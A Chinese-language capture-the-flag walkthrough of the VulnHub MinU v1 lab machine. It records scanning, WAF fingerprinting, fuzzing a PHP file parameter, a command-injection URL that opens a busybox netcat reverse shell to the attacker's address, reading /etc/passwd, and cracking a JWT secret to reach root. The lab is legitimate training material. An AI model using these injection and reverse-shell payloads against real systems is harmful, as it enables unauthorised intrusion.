vulnhub-MinUv1通关教程
我们依旧扫描网段
nmap 192.168.5.0/24 -sP

接着是扫描端口,只有80端口,有时光扫IP是扫不全的,我们依旧做一次全扫描
nmap 192.168.5.176

我们确实只扫到80端口,虽说还不确定是不是做了隐藏等我们去敲,但是思路依旧枚举80端口的信息
nmap 192.168.5.176 -p- -A -T5 -sV -sC

我们直接扫目录
dirb http://192.168.5.176

主要是80端口没有什么信息,我们直接扫目录出现一堆403,这里有个技巧,直接gerp 200
dirb http://192.168.5.176 | grep 200

发现并没有什么有用的信息,难道倒在这一步了?我们最后试一试扫PHP
dirb http://192.168.5.176/ -X .php

这里爆了个新目录,我们访问点击后又是老样子,很熟悉不过了文件包含?file=,这里不仅可以判断是文件包含,还知道他是PHP

之前扫出那么多403拒绝访问的,说明被拦截了那么一定有防火墙我们识别一下waf,这里直接用kali自带的wafw000f工具,这里-a跑全部特征库,-v -v输出最高详细的日志信息
wafw00f http://192.168.5.176/test.php -a -v -v

我们用简单的过滤发现确实有效并输出网站目录地址

我们就用模糊测试看看还有什么能够绕过防火墙规则
locate attack.txt

我们直接进行模糊测试,看看可以绕过的规则
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.5.176/test.php?file=FUZZ

我们可以对结果进行过滤,只输出200的
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 403 http://192.168.5.176/test.php?file=FUZZ
-c 彩色输出 -z file 指定payload从文件读取 –hc 403 过滤403

这里我们从网上发现可以直接使用busybox来直接获得shell,针对modsecurity防火墙。
http://192.168.5.176/test.php?file=yang;busybox nc 192.168.5.100 6666 -e sh -i


这里我们直接设置环境,直接那个稳定的shell
SHELL=/bin/bash script -q /dev/null
export TERM=xterm-256color
ctrl + z
stty raw -echo; fg

来到shell,我们第一件事就是查看他的内核版本,以及sudo,这两个是提权最容易的了
Uname -a
Sudo -V

直接看看靶机还存在什么真实用户,没准我们的目的就是拿到那个用户的shell再进行提权呢?
Cat /etc/passwd

在bob里我们发现了他的一个加密文件
Cd home
Cd bob
Ls -la
Cat ._pw_

其实我也不知道它是不是base64,但是第一步都是直接拿来测。当解出第一个是就该知道这个是个JWT鉴权了,我们直接github上下载工具破解它就行。跟json有关。
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9" | base64 -d
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9" | cut -d "." -f 2 | base64 -d

这里我还是按照别人的教程来,毕竟第一次打的话,或者不知道JWT是什么的话,解出这一步应该知道停了。。。二进制你怎么解?

直接网上搜索jwt的解密方式,如果太慢,实在无法****的话直接走国内代理,也能够下载,或是用链式代理,proxychain,还记得吗这里我就不搞了。。。
git clone https://github.com/brendan-rius/c-jwt-cracker.git

还记得make编译吗,里面有几个脚本,分别导出一起编译。

GitHub上这个工具的使用方法很详细了,你真要了解不是通过我。。。
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

拿到root了,记住过程是关键,flag只是拿到root后的赠品。

好了,我们接着复盘一下思路吧。我们这次只扫到了80端口,dirb也没有扫出什么有用信息,我们必须给dirb指定扫描,手工测试是最主要的。我们访问扫到的目录发现存在文件包含,并且根据dirb 403可知它使用了应用防火墙,根据规则绕过防火墙,或是根据版本使用busbox来建立反向shell,我们在www-data下发现了bob用户,并且拿到base64编码,靶场很简单解出编码拿到root就是行。
浙公网安备 33010602011771号